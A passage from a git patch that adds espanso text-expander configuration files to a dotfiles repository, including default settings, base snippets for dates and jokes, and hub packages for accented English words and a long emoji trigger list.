From 11ade092b4c8ca511b0ed8e806fdf611b0a304d5 Mon Sep 17 00:00:00 2001 From: VectorKappa Date: Tue, 4 Oct 2022 08:22:46 +0200 Subject: [PATCH] Added espanso config. Neat thing! --- espanso/.config/espanso/config/default.yml | 40 + espanso/.config/espanso/match/base.yml | 66 + .../match/packages/accented-words/LICENSE | 21 + .../match/packages/accented-words/README.md | 24 + .../packages/accented-words/_manifest.yml | 7 + .../packages/accented-words/_pkgsource.yml | 2 + .../match/packages/accented-words/package.yml | 252 ++ .../packages/actually-all-emojis/README.md | 14 + .../actually-all-emojis/_manifest.yml | 7 + .../actually-all-emojis/_pkgsource.yml | 2 + .../packages/actually-all-emojis/package.yml | 3707 +++++++++++++++++ .../espanso/match/packages/arrows/README.md | 16 + .../match/packages/arrows/_manifest.yml | 7 + .../match/packages/arrows/_pkgsource.yml | 2 + .../espanso/match/packages/arrows/package.yml | 29 + .../espanso/match/packages/dadjoke/LICENSE | 21 + .../espanso/match/packages/dadjoke/README.md | 20 + .../match/packages/dadjoke/_manifest.yml | 7 + .../match/packages/dadjoke/_pkgsource.yml | 2 + .../match/packages/dadjoke/package.yml | 8 + .../packages/double-stroke-letters/LICENSE | 21 + .../packages/double-stroke-letters/README.md | 78 + .../double-stroke-letters/_manifest.yml | 7 + .../double-stroke-letters/_pkgsource.yml | 2 + .../double-stroke-letters/package.yml | 109 + .../packages/double-stroke-numbers/LICENSE | 21 + .../packages/double-stroke-numbers/README.md | 36 + .../double-stroke-numbers/_manifest.yml | 7 + .../double-stroke-numbers/_pkgsource.yml | 2 + .../double-stroke-numbers/package.yml | 25 + .../match/packages/encircled-numbers/LICENSE | 21 + .../packages/encircled-numbers/README.md | 105 + .../packages/encircled-numbers/_manifest.yml | 7 + .../packages/encircled-numbers/_pkgsource.yml | 2 + .../packages/encircled-numbers/package.yml | 153 + .../match/packages/espanso-dice/README.md | 16 + .../match/packages/espanso-dice/_manifest.yml | 7 + .../packages/espanso-dice/_pkgsource.yml | 2 + .../match/packages/espanso-dice/package.yml | 210 + .../packages/espanso-fractions/README.md | 37 + .../packages/espanso-fractions/_manifest.yml | 7 + .../packages/espanso-fractions/_pkgsource.yml | 2 + .../packages/espanso-fractions/package.yml | 37 + .../match/packages/foreign-thanks/LICENSE | 21 + .../match/packages/foreign-thanks/README.md | 110 + .../packages/foreign-thanks/_manifest.yml | 7 + .../packages/foreign-thanks/_pkgsource.yml | 2 + .../match/packages/foreign-thanks/package.yml | 136 + .../packages/greek-letters-improved/LICENSE | 21 + .../packages/greek-letters-improved/README.md | 59 + .../greek-letters-improved/_manifest.yml | 8 + .../greek-letters-improved/_pkgsource.yml | 2 + .../greek-letters-improved/package.yml | 174 + .../espanso/match/packages/hax/README.md | 5 + .../espanso/match/packages/hax/_manifest.yml | 6 + .../espanso/match/packages/hax/_pkgsource.yml | 2 + .../espanso/match/packages/hax/package.yml | 58 + .../espanso/match/packages/kaimoji/README.md | 1 + .../match/packages/kaimoji/_manifest.yml | 7 + .../match/packages/kaimoji/_pkgsource.yml | 2 + .../match/packages/kaimoji/package.yml | 27 + .../match/packages/math-symbols/LICENSE | 21 + .../match/packages/math-symbols/README.md | 48 + .../match/packages/math-symbols/_manifest.yml | 7 + .../packages/math-symbols/_pkgsource.yml | 2 + .../match/packages/math-symbols/package.yml | 135 + .../espanso/match/packages/math/README.md | 1 + .../espanso/match/packages/math/_manifest.yml | 7 + .../match/packages/math/_pkgsource.yml | 2 + .../espanso/match/packages/math/package.yml | 62 + .../match/packages/script-letters/LICENSE | 21 + .../match/packages/script-letters/README.md | 130 + .../packages/script-letters/_manifest.yml | 7 + .../packages/script-letters/_pkgsource.yml | 2 + .../match/packages/script-letters/package.yml | 213 + .../match/packages/supersubscript/README.md | 1 + .../packages/supersubscript/_manifest.yml | 7 + .../packages/supersubscript/_pkgsource.yml | 2 + .../match/packages/supersubscript/package.yml | 326 ++ .../espanso/match/packages/wtc/LICENSE | 9 + .../espanso/match/packages/wtc/README.md | 7 + .../espanso/match/packages/wtc/_manifest.yml | 7 + .../espanso/match/packages/wtc/_pkgsource.yml | 2 + .../espanso/match/packages/wtc/package.yml | 8 + 84 files changed, 6843 insertions(+) create mode 100644 espanso/.config/espanso/config/default.yml create mode 100644 espanso/.config/espanso/match/base.yml create mode 100644 espanso/.config/espanso/match/packages/accented-words/LICENSE create mode 100644 espanso/.config/espanso/match/packages/accented-words/README.md create mode 100644 espanso/.config/espanso/match/packages/accented-words/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/accented-words/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/accented-words/package.yml create mode 100644 espanso/.config/espanso/match/packages/actually-all-emojis/README.md create mode 100644 espanso/.config/espanso/match/packages/actually-all-emojis/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/actually-all-emojis/package.yml create mode 100644 espanso/.config/espanso/match/packages/arrows/README.md create mode 100644 espanso/.config/espanso/match/packages/arrows/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/arrows/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/arrows/package.yml create mode 100644 espanso/.config/espanso/match/packages/dadjoke/LICENSE create mode 100644 espanso/.config/espanso/match/packages/dadjoke/README.md create mode 100644 espanso/.config/espanso/match/packages/dadjoke/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/dadjoke/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/dadjoke/package.yml create mode 100644 espanso/.config/espanso/match/packages/double-stroke-letters/LICENSE create mode 100644 espanso/.config/espanso/match/packages/double-stroke-letters/README.md create mode 100644 espanso/.config/espanso/match/packages/double-stroke-letters/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/double-stroke-letters/package.yml create mode 100644 espanso/.config/espanso/match/packages/double-stroke-numbers/LICENSE create mode 100644 espanso/.config/espanso/match/packages/double-stroke-numbers/README.md create mode 100644 espanso/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/double-stroke-numbers/package.yml create mode 100644 espanso/.config/espanso/match/packages/encircled-numbers/LICENSE create mode 100644 espanso/.config/espanso/match/packages/encircled-numbers/README.md create mode 100644 espanso/.config/espanso/match/packages/encircled-numbers/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/encircled-numbers/package.yml create mode 100644 espanso/.config/espanso/match/packages/espanso-dice/README.md create mode 100644 espanso/.config/espanso/match/packages/espanso-dice/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/espanso-dice/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/espanso-dice/package.yml create mode 100644 espanso/.config/espanso/match/packages/espanso-fractions/README.md create mode 100644 espanso/.config/espanso/match/packages/espanso-fractions/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/espanso-fractions/package.yml create mode 100644 espanso/.config/espanso/match/packages/foreign-thanks/LICENSE create mode 100644 espanso/.config/espanso/match/packages/foreign-thanks/README.md create mode 100644 espanso/.config/espanso/match/packages/foreign-thanks/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/foreign-thanks/package.yml create mode 100644 espanso/.config/espanso/match/packages/greek-letters-improved/LICENSE create mode 100644 espanso/.config/espanso/match/packages/greek-letters-improved/README.md create mode 100644 espanso/.config/espanso/match/packages/greek-letters-improved/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/greek-letters-improved/package.yml create mode 100644 espanso/.config/espanso/match/packages/hax/README.md create mode 100644 espanso/.config/espanso/match/packages/hax/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/hax/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/hax/package.yml create mode 100644 espanso/.config/espanso/match/packages/kaimoji/README.md create mode 100644 espanso/.config/espanso/match/packages/kaimoji/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/kaimoji/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/kaimoji/package.yml create mode 100644 espanso/.config/espanso/match/packages/math-symbols/LICENSE create mode 100644 espanso/.config/espanso/match/packages/math-symbols/README.md create mode 100644 espanso/.config/espanso/match/packages/math-symbols/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/math-symbols/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/math-symbols/package.yml create mode 100644 espanso/.config/espanso/match/packages/math/README.md create mode 100644 espanso/.config/espanso/match/packages/math/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/math/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/math/package.yml create mode 100644 espanso/.config/espanso/match/packages/script-letters/LICENSE create mode 100644 espanso/.config/espanso/match/packages/script-letters/README.md create mode 100644 espanso/.config/espanso/match/packages/script-letters/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/script-letters/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/script-letters/package.yml create mode 100644 espanso/.config/espanso/match/packages/supersubscript/README.md create mode 100644 espanso/.config/espanso/match/packages/supersubscript/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/supersubscript/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/supersubscript/package.yml create mode 100644 espanso/.config/espanso/match/packages/wtc/LICENSE create mode 100644 espanso/.config/espanso/match/packages/wtc/README.md create mode 100644 espanso/.config/espanso/match/packages/wtc/_manifest.yml create mode 100644 espanso/.config/espanso/match/packages/wtc/_pkgsource.yml create mode 100644 espanso/.config/espanso/match/packages/wtc/package.yml diff --git a/espanso/.config/espanso/config/default.yml b/espanso/.config/espanso/config/default.yml new file mode 100644 index 0000000..4f52b02 --- /dev/null +++ b/espanso/.config/espanso/config/default.yml @@ -0,0 +1,40 @@ +# espanso configuration file + +# For a complete introduction, visit the official docs at: https://espanso.org/docs/ + +# You can use this file to define the global configuration options for espanso. +# These are the parameters that will be used by default on every application, +# but you can also override them on a per-application basis. + +# To make customization easier, this file contains some of the commonly used +# parameters. Feel free to uncomment and tune them to fit your needs! + +# --- Toggle key + +# Customize the key used to disable and enable espanso (when double tapped) +# Available options: CTRL, SHIFT, ALT, CMD, OFF +# You can also specify the key variant, such as LEFT_CTRL, RIGHT_SHIFT, etc... +# toggle_key: ALT +# You can also disable the toggle key completely with +# toggle_key: OFF + +# --- Injection Backend + +# Espanso supports multiple ways of injecting text into applications. Each of +# them has its quirks, therefore you may want to change it if you are having problems. +# By default, espanso uses the "Auto" backend which should work well in most cases, +# but you may want to try the "Clipboard" or "Inject" backend in case of issues. +# backend: Clipboard + +# --- Auto-restart + +# Enable/disable the config auto-reload after a file change is detected. +# auto_restart: false + +# --- Clipboard threshold + +# Because injecting long texts char-by-char is a slow operation, espanso automatically +# uses the clipboard if the text is longer than 'clipboard_threshold' characters. +# clipboard_threshold: 100 + +# For a list of all the available options, visit the official docs at: https://espanso.org/docs/ \ No newline at end of file diff --git a/espanso/.config/espanso/match/base.yml b/espanso/.config/espanso/match/base.yml new file mode 100644 index 0000000..1a2322d --- /dev/null +++ b/espanso/.config/espanso/match/base.yml @@ -0,0 +1,66 @@ +# espanso match file + +# For a complete introduction, visit the official docs at: https://espanso.org/docs/ + +# You can use this file to define the base matches (aka snippets) +# that will be available in every application when using espanso. + +# Matches are substitution rules: when you type the "trigger" string +# it gets replaced by the "replace" string. +matches: + # Simple text replacement + - trigger: ":espanso" + replace: "Hi there!" + + # NOTE: espanso uses YAML to define matches, so pay attention to the indentation! + + # But matches can also be dynamic: + + # Print the current date + - trigger: ":date" + replace: "{{mydate}}" + vars: + - name: mydate + type: date + params: + format: "%m/%d/%Y" + + # Print the output of a shell command + - trigger: ":shell" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: "echo 'Hello from your shell'" + + - trigger: ":zettelkasten" + replace: "{{zettelkastendate}}" + vars: + - name: zettelkastendate + type: date + params: + format: "%Y%m%d%H%M%S" + + - trigger: ":epoch" + replace: "{{epoch}}" + vars: + - name: epoch + type: date + params: + format: "%s" + + - trigger: ":ISOdate" + replace: "{{ISO}}" + vars: + - name: ISO + type: date + params: + format: "%+" + + - trigger: ":lennyface" + replace: "( ͡° ͜ʖ ͡°)" + + - trigger: ":fitnessgram" + replace: "The FitnessGram™ Pacer Test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter pacer test will begin in 30 seconds. Line up at the start. The running speed starts slowly, but gets faster each minute after you hear this signal. [beep] A single lap should be completed each time you hear this sound. [ding] Remember to run in a straight line, and run as long as possible. The second time you fail to complete a lap before the sound, your test is over. The test will begin on the word start. On your mark, get ready, start." + # And much more! For more information, visit the docs: https://espanso.org/docs/ diff --git a/espanso/.config/espanso/match/packages/accented-words/LICENSE b/espanso/.config/espanso/match/packages/accented-words/LICENSE new file mode 100644 index 0000000..5184f7d --- /dev/null +++ b/espanso/.config/espanso/match/packages/accented-words/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Joshua J. Hall + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/espanso/.config/espanso/match/packages/accented-words/README.md b/espanso/.config/espanso/match/packages/accented-words/README.md new file mode 100644 index 0000000..6e35741 --- /dev/null +++ b/espanso/.config/espanso/match/packages/accented-words/README.md @@ -0,0 +1,24 @@ +# Espanso Accented Words + +Simple package to extend [Espanso](https://espanso.org) with commonly accented words used in English. + +## Installation + +``` +espanso install accented-words +``` + +## Usage + +Just type the word. Words that may or may not require accents in English will only be accented after a trailing apostrphe (') is added. For example, both `rose` and `rosé` are separate words in English with very different meanings, so only `rose'` will exapnd to `rosé`. Here are a few examples... + +* cafe' > café +* rose' > rosé +* resume' > résumé +* angstrom > ångström +* Champs-Elysees > Champs-Élysées +* Francois > François + +## Contributions + +Contributions are welcome. Feel free to fork and submit PRs with additional words to add to this list. This is far from an exhaustive list. diff --git a/espanso/.config/espanso/match/packages/accented-words/_manifest.yml b/espanso/.config/espanso/match/packages/accented-words/_manifest.yml new file mode 100644 index 0000000..e2dff24 --- /dev/null +++ b/espanso/.config/espanso/match/packages/accented-words/_manifest.yml @@ -0,0 +1,7 @@ +name: accented-words +title: Accented Words +description: Automatically accent commonly accented words and proper nouns in English. +version: 1.0.0 +author: Joshua Hall +homepage: "https://github.com/joshjhall/espanso-accented-words" +tags: ["english", "languages", "accents"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/accented-words/_pkgsource.yml b/espanso/.config/espanso/match/packages/accented-words/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/accented-words/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/accented-words/package.yml b/espanso/.config/espanso/match/packages/accented-words/package.yml new file mode 100644 index 0000000..35cd971 --- /dev/null +++ b/espanso/.config/espanso/match/packages/accented-words/package.yml @@ -0,0 +1,252 @@ +# Accented Words + +matches: + - trigger: "Champs-Elysees" + replace: "Champs-Élysées" + propagate_case: true + word: true + + - trigger: "Francois" + replace: "François" + propagate_case: true + word: true + + - trigger: "Metis" + replace: "Métis" + propagate_case: true + word: true + + - trigger: "Quebec" + replace: "Québec" + propagate_case: true + word: true + + - trigger: "angstrom" + replace: "ångström" + propagate_case: true + word: true + + - trigger: "brulee" + replace: "brûlée" + propagate_case: true + word: true + + - trigger: "cafe'" + replace: "café" + propagate_case: true + word: true + + - trigger: "chateau" + replace: "château" + propagate_case: true + word: true + + - trigger: "cliche" + replace: "cliché" + propagate_case: true + word: true + + - trigger: "creme" + replace: "crème" + propagate_case: true + word: true + + - trigger: "crepe" + replace: "crêpe" + propagate_case: true + word: true + + - trigger: "debacle" + replace: "débâcle" + propagate_case: true + word: true + + - trigger: "debutante" + replace: "débutante" + propagate_case: true + word: true + + - trigger: "detente" + replace: "détente" + propagate_case: true + word: true + + - trigger: "divorcee" + replace: "divorcée" + propagate_case: true + word: true + + - trigger: "doppelganger" + replace: "doppelgänger" + propagate_case: true + word: true + + - trigger: "eclair" + replace: "éclair" + propagate_case: true + word: true + + - trigger: "eclat" + replace: "éclat" + propagate_case: true + word: true + + - trigger: "emigre" + replace: "émigré" + propagate_case: true + word: true + + - trigger: "entree" + replace: "entrée" + propagate_case: true + word: true + + - trigger: "epee" + replace: "épée" + propagate_case: true + word: true + + - trigger: "expose'" + replace: "exposé" + propagate_case: true + word: true + + - trigger: "facade" + replace: "façade" + propagate_case: true + word: true + + - trigger: "fete" + replace: "fête" + propagate_case: true + word: true + + - trigger: "fiance" + replace: "fiancé" + propagate_case: true + word: true + + - trigger: "flambe" + replace: "flambé" + propagate_case: true + word: true + + - trigger: "francais" + replace: "français" + propagate_case: true + word: true + + - trigger: "habitue" + replace: "habitué" + propagate_case: true + word: true + + - trigger: "ingenue" + replace: "ingénue" + propagate_case: true + word: true + + - trigger: "jalapeno" + replace: "jalapeño" + propagate_case: true + word: true + + - trigger: "manana" + replace: "mañana" + propagate_case: true + word: true + + - trigger: "matinee" + replace: "matinée" + propagate_case: true + word: true + + - trigger: "melange" + replace: "mélange" + propagate_case: true + word: true + + - trigger: "melee" + replace: "mêlée" + propagate_case: true + word: true + + - trigger: "moire" + replace: "moiré" + propagate_case: true + word: true + + - trigger: "naive" + replace: "naïve" + propagate_case: true + word: true + + - trigger: "nee'" + replace: "née" + propagate_case: true + word: true + + - trigger: "ole'" + replace: "olé" + propagate_case: true + word: true + + - trigger: "protege" + replace: "protégé" + propagate_case: true + word: true + + - trigger: "resume'" + replace: "résumé" + propagate_case: true + word: true + + - trigger: "rose'" + replace: "rosé" + propagate_case: true + word: true + + - trigger: "saute" + replace: "sauté" + propagate_case: true + word: true + + - trigger: "seance" + replace: "séance" + propagate_case: true + word: true + + - trigger: "senor" + replace: "señor" + propagate_case: true + word: true + + - trigger: "smorgasbord" + replace: "smörgåsbord" + propagate_case: true + word: true + + - trigger: "soiree" + replace: "soirée" + propagate_case: true + word: true + + - trigger: "souffle'" + replace: "soufflé" + propagate_case: true + word: true + + - trigger: "soupcon" + replace: "soupçon" + propagate_case: true + word: true + + - trigger: "touche'" + replace: "touché" + propagate_case: true + word: true + + - trigger: "voila" + replace: "voilà" + propagate_case: true + word: true diff --git a/espanso/.config/espanso/match/packages/actually-all-emojis/README.md b/espanso/.config/espanso/match/packages/actually-all-emojis/README.md new file mode 100644 index 0000000..f513951 --- /dev/null +++ b/espanso/.config/espanso/match/packages/actually-all-emojis/README.md @@ -0,0 +1,14 @@ +## Actually All Emojis + +An up-to-date package for [espanso](https://espanso.org/) which provides triggers for all emojis (`v14.0`). Emojis and codes fetched from [Unicode.org](https://unicode.org/emoji/charts/full-emoji-list.html) + +### Usage + +To use this package, just type the name of the emoji between two colons. For example, to use the `smile` emoji 😄, you can type: `:smile:` + +A full list of emojis and their CLDR Short Names can be found [here](https://unicode.org/emoji/charts/full-emoji-list.html) + +**Note**: There are two options for this package. One with spaces between words, and one with underscores. This version uses _underscores_ +For example `:kissing_face:` + +To install the version with spaces use `actually-all-emojis-spaces` diff --git a/espanso/.config/espanso/match/packages/actually-all-emojis/_manifest.yml b/espanso/.config/espanso/match/packages/actually-all-emojis/_manifest.yml new file mode 100644 index 0000000..545efc3 --- /dev/null +++ b/espanso/.config/espanso/match/packages/actually-all-emojis/_manifest.yml @@ -0,0 +1,7 @@ +author: Jobie Wong +description: An updated package providing all v.14 emojis - fetched from unicode.org +name: actually-all-emojis +title: Actually All Emojis +version: 0.1.0 +homepage: "https://github.com/jobiewong/espanso-emojis" +tags: ["emoji", "chat"] diff --git a/espanso/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml b/espanso/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/actually-all-emojis/package.yml b/espanso/.config/espanso/match/packages/actually-all-emojis/package.yml new file mode 100644 index 0000000..23077a2 --- /dev/null +++ b/espanso/.config/espanso/match/packages/actually-all-emojis/package.yml @@ -0,0 +1,3707 @@ +matches: + - trigger: ":grinning:" + replace: "\U0001F600" + - trigger: ":smiley:" + replace: "\U0001F603" + - trigger: ":smile:" + replace: "\U0001F604" + - trigger: ":grin:" + replace: "\U0001F601" + - trigger: ":laughing:" + replace: "\U0001F606" + - trigger: ":sweat_smile:" + replace: "\U0001F605" + - trigger: ":rofl:" + replace: "\U0001F923" + - trigger: ":joy:" + replace: "\U0001F602" + - trigger: ":slightly_smiling_face:" + replace: "\U0001F642" + - trigger: ":upside_down_face:" + replace: "\U0001F643" + - trigger: ":melting_face:" + replace: "\U0001FAE0" + - trigger: ":winking_face:" + replace: "\U0001F609" + - trigger: ":smiling_face_with_smiling_eyes:" + replace: "\U0001F60A" + - trigger: ":smiling_face_with_halo:" + replace: "\U0001F607" + - trigger: ":smiling_face_with_hearts:" + replace: "\U0001F970" + - trigger: ":heart_eyes:" + replace: "\U0001F60D" + - trigger: ":star_struck:" + replace: "\U0001F929" + - trigger: ":face_blowing_a_kiss:" + replace: "\U0001F618" + - trigger: ":kissing_face:" + replace: "\U0001F617" + - trigger: ":smiling_face:" + replace: "\U0000263A" + - trigger: ":kissing_face_with_closed_eyes:" + replace: "\U0001F61A" + - trigger: ":kissing_face_with_smiling_eyes:" + replace: "\U0001F619" + - trigger: ":smiling_face_with_tear:" + replace: "\U0001F972" + - trigger: ":face_savoring_food:" + replace: "\U0001F60B" + - trigger: ":face_with_tongue:" + replace: "\U0001F61B" + - trigger: ":winking_face_with_tongue:" + replace: "\U0001F61C" + - trigger: ":zany_face:" + replace: "\U0001F92A" + - trigger: ":squinting_face_with_tongue:" + replace: "\U0001F61D" + - trigger: ":money_mouth_face:" + replace: "\U0001F911" + - trigger: ":smiling_face_with_open_hands:" + replace: "\U0001F917" + - trigger: ":face_with_hand_over_mouth:" + replace: "\U0001F92D" + - trigger: ":face_with_open_eyes_and_hand_over_mouth:" + replace: "\U0001FAE2" + - trigger: ":face_with_peeking_eye:" + replace: "\U0001FAE3" + - trigger: ":shushing_face:" + replace: "\U0001F92B" + - trigger: ":thinking_face:" + replace: "\U0001F914" + - trigger: ":saluting_face:" + replace: "\U0001FAE1" + - trigger: ":zipper_mouth_face:" + replace: "\U0001F910" + - trigger: ":face_with_raised_eyebrow:" + replace: "\U0001F928" + - trigger: ":neutral_face:" + replace: "\U0001F610" + - trigger: ":expressionless_face:" + replace: "\U0001F611" + - trigger: ":face_without_mouth:" + replace: "\U0001F636" + - trigger: ":dotted_line_face:" + replace: "\U0001FAE5" + - trigger: ":face_in_clouds:" + replace: "\U0000FE0F" + - trigger: ":smirking_face:" + replace: "\U0001F60F" + - trigger: ":unamused_face:" + replace: "\U0001F612" + - trigger: ":face_with_rolling_eyes:" + replace: "\U0001F644" + - trigger: ":grimacing_face:" + replace: "\U0001F62C" + - trigger: ":face_exhaling:" + replace: "\U0001F4A8" + - trigger: ":lying_face:" + replace: "\U0001F925" + - trigger: ":relieved_face:" + replace: "\U0001F60C" + - trigger: ":pensive_face:" + replace: "\U0001F614" + - trigger: ":sleepy_face:" + replace: "\U0001F62A" + - trigger: ":drooling_face:" + replace: "\U0001F924" + - trigger: ":sleeping_face:" + replace: "\U0001F634" + - trigger: ":face_with_medical_mask:" + replace: "\U0001F637" + - trigger: ":face_with_thermometer:" + replace: "\U0001F912" + - trigger: ":face_with_head_bandage:" + replace: "\U0001F915" + - trigger: ":nauseated_face:" + replace: "\U0001F922" + - trigger: ":face_vomiting:" + replace: "\U0001F92E" + - trigger: ":sneezing_face:" + replace: "\U0001F927" + - trigger: ":hot_face:" + replace: "\U0001F975" + - trigger: ":cold_face:" + replace: "\U0001F976" + - trigger: ":woozy_face:" + replace: "\U0001F974" + - trigger: ":face_with_crossed_out_eyes:" + replace: "\U0001F635" + - trigger: ":face_with_spiral_eyes:" + replace: "\U0001F4AB" + - trigger: ":exploding_head:" + replace: "\U0001F92F" + - trigger: ":cowboy_hat_face:" + replace: "\U0001F920" + - trigger: ":partying_face:" + replace: "\U0001F973" + - trigger: ":disguised_face:" + replace: "\U0001F978" + - trigger: ":smiling_face_with_sunglasses:" + replace: "\U0001F60E" + - trigger: ":nerd_face:" + replace: "\U0001F913" + - trigger: ":face_with_monocle:" + replace: "\U0001F9D0" + - trigger: ":confused_face:" + replace: "\U0001F615" + - trigger: ":face_with_diagonal_mouth:" + replace: "\U0001FAE4" + - trigger: ":worried_face:" + replace: "\U0001F61F" + - trigger: ":slightly_frowning_face:" + replace: "\U0001F641" + - trigger: ":frowning_face:" + replace: "\U00002639" + - trigger: ":face_with_open_mouth:" + replace: "\U0001F62E" + - trigger: ":hushed_face:" + replace: "\U0001F62F" + - trigger: ":astonished_face:" + replace: "\U0001F632" + - trigger: ":flushed_face:" + replace: "\U0001F633" + - trigger: ":pleading_face:" + replace: "\U0001F97A" + - trigger: ":face_holding_back_tears:" + replace: "\U0001F979" + - trigger: ":frowning_face_with_open_mouth:" + replace: "\U0001F626" + - trigger: ":anguished_face:" + replace: "\U0001F627" + - trigger: ":fearful_face:" + replace: "\U0001F628" + - trigger: ":anxious_face_with_sweat:" + replace: "\U0001F630" + - trigger: ":sad_but_relieved_face:" + replace: "\U0001F625" + - trigger: ":crying_face:" + replace: "\U0001F622" + - trigger: ":loudly_crying_face:" + replace: "\U0001F62D" + - trigger: ":face_screaming_in_fear:" + replace: "\U0001F631" + - trigger: ":confounded_face:" + replace: "\U0001F616" + - trigger: ":persevering_face:" + replace: "\U0001F623" + - trigger: ":disappointed_face:" + replace: "\U0001F61E" + - trigger: ":downcast_face_with_sweat:" + replace: "\U0001F613" + - trigger: ":weary_face:" + replace: "\U0001F629" + - trigger: ":tired_face:" + replace: "\U0001F62B" + - trigger: ":yawning_face:" + replace: "\U0001F971" + - trigger: ":face_with_steam_from_nose:" + replace: "\U0001F624" + - trigger: ":pouting_face:" + replace: "\U0001F621" + - trigger: ":angry_face:" + replace: "\U0001F620" + - trigger: ":face_with_symbols_on_mouth:" + replace: "\U0001F92C" + - trigger: ":smiling_face_with_horns:" + replace: "\U0001F608" + - trigger: ":angry_face_with_horns:" + replace: "\U0001F47F" + - trigger: ":skull:" + replace: "\U0001F480" + - trigger: ":skull_and_crossbones:" + replace: "\U00002620" + - trigger: ":pile_of_poo:" + replace: "\U0001F4A9" + - trigger: ":clown_face:" + replace: "\U0001F921" + - trigger: ":ogre:" + replace: "\U0001F479" + - trigger: ":goblin:" + replace: "\U0001F47A" + - trigger: ":ghost:" + replace: "\U0001F47B" + - trigger: ":alien:" + replace: "\U0001F47D" + - trigger: ":alien_monster:" + replace: "\U0001F47E" + - trigger: ":robot:" + replace: "\U0001F916" + - trigger: ":grinning_cat:" + replace: "\U0001F63A" + - trigger: ":grinning_cat_with_smiling_eyes:" + replace: "\U0001F638" + - trigger: ":cat_with_tears_of_joy:" + replace: "\U0001F639" + - trigger: ":smiling_cat_with_heart_eyes:" + replace: "\U0001F63B" + - trigger: ":cat_with_wry_smile:" + replace: "\U0001F63C" + - trigger: ":kissing_cat:" + replace: "\U0001F63D" + - trigger: ":weary_cat:" + replace: "\U0001F640" + - trigger: ":crying_cat:" + replace: "\U0001F63F" + - trigger: ":pouting_cat:" + replace: "\U0001F63E" + - trigger: ":see_no_evil_monkey:" + replace: "\U0001F648" + - trigger: ":hear_no_evil_monkey:" + replace: "\U0001F649" + - trigger: ":speak_no_evil_monkey:" + replace: "\U0001F64A" + - trigger: ":kiss_mark:" + replace: "\U0001F48B" + - trigger: ":love_letter:" + replace: "\U0001F48C" + - trigger: ":heart_with_arrow:" + replace: "\U0001F498" + - trigger: ":heart_with_ribbon:" + replace: "\U0001F49D" + - trigger: ":sparkling_heart:" + replace: "\U0001F496" + - trigger: ":growing_heart:" + replace: "\U0001F497" + - trigger: ":beating_heart:" + replace: "\U0001F493" + - trigger: ":revolving_hearts:" + replace: "\U0001F49E" + - trigger: ":two_hearts:" + replace: "\U0001F495" + - trigger: ":heart_decoration:" + replace: "\U0001F49F" + - trigger: ":heart_exclamation:" + replace: "\U00002763" + - trigger: ":broken_heart:" + replace: "\U0001F494" + - trigger: ":heart_on_fire:" + replace: "\U0001F525" + - trigger: ":mending_heart:" + replace: "\U0001FA79" + - trigger: 